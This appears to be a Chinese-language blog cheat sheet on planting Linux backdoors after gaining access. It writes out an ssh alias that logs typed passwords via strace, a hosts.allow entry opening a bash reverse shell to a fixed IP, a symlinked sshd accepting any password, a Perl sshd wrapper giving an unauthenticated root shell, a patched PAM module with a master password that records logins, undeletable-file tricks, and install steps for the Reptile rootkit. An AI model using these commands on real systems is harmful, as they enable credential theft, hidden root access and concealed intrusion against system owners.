Backdoor

alias后门 ssh密码记录

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’


后门将终端的输入输出(输入的ssh地址账号密码)和连接信息保存到/tmp/sshpwd-日期.log中

1
cat /tmp/sshpwd-xxx.log


Tcp Wrapper

1
echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow 

ssh 连接目标可触发后门回连

软链接SSH后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完成后可使用任意密码ssh连接目标机器31337 端口

重启失效

SSH Wrapper后门

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下

分析:

1
exec"/bin/sh"if(getpeername(STDIN)=~/^.. 4A /);

如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是13377(4A是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行,相当于反弹一个root shell (sshd是root权限运行的)

1
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd

这一行保证了普通用户也可以正常使用ssh 服务
连接后门:

1
socat STDIO TCP4:target_ip:22,sourceport=13377;

将输入输出重定向至于socket 10.1.100.3:22 (这样后门perl脚本中STDIN就是socket了), 且这个socket的源端口为31334

这样就可以无需认证 (因为还未到sshd认证阶段就反弹root shell 了)成功获取控制端系统 shell

无额外端口,隐蔽性较好

PAM后门

可以简单理解为劫持系统的身份认证机制
测试机器ubuntu
首先判断当前安装的pam版本

下载解压对应版本的pam源码 http://www.linux-pam.org/library/

之后修改两处代码

1
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

第一处
pam_sm_authenicate()函数处,添加FILE *fp

第二处

pam_sm_authenicate()函数尾部

1
2
3
4
5
6
7
8
9
10
11
//add password "test"
if (strcmp(p,"test") == 0){
return PAM_SUCCESS;
}

//save password to /etc/pam.txt
if (retval == PAM_SUCCESS){
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n",name,p);
fclose(fp);
}

编译 ./configure && make
备份原有PAM模块 mv pam_unix.so pam_unix.so.bak
使用新编译的pam模块替换原有模块
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
完成后可使用添加的密码test登陆

当管理员登陆成功时
密码会被记录在/etc/pam.txt中

隐蔽性最佳,操作较为繁琐

文件隐藏

无法删除的文件

1
echo 'whoami' > ..\ \ \    //最后一个\后也有空格


这种方法建立的文件无法通过rm + tab 或rm -rf ./* 删除

除非知道文件名后面有多少个转义字符\

参数混淆

使用echo 等命令新建一个文件名为 –rf 或者 -rm 的文件



rm在删除时会把文件名当作rm的参数而无法正常删除
如果要删除这种文件
可使用 rm –- ‘-rf’

隐藏权限

可使用 chattr +i 来给文件添加一个无法修改的隐藏属性

chattr -i 即可解除,过于常见,不实用

Rootkit

https://github.com/f0rb1dd3n/Reptile
在目标机器上下载源码

1
2
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile

执行./setup.sh install安装

查看效果



进程与开放的端口均无显示

安装完成后会生成可执行文件到/reptile/ 目录下
目录无法通过ls看到,只能通过输入绝对路径访问
提供的命令:

1
2
3
4
/reptile/reptile_cmd root       提权:任意权限用户执行完成后获取root权限
/reptile/reptile_cmd hide/show <pid> 隐藏/显示 指定pid进程
/reptile/reptile_cmd tcp <IP> <port> hide/show 隐藏/显示指定TCP连接
/reptile/reptile_cmd udp <IP> <port> hide/show 隐藏/显示指定UDP连接

安装控制端

1
2
apt install libreadline-dev 
./setup client

这款rootkit的运作机制为:
使用控制机的特定端口(如配置中的666)给目标任意端口发送一串数据
当目标机器接收到这个数据后,按照配置回连

控制端使用方法与msf的linster相似
需要设置本地监听地址,连接密码,目标机器ip端口等

测试环境为内网被控机器,公网控制端,并且安装时设置了自动回连
此时单独使用./bin/下的listener在公网监听即可,会自动回连

如果安装时没有设置自动回连
可通过手动发送packet来触发回连
公网监听8200 端口

使用packet发送回连请求,接收shell

⬆︎TOP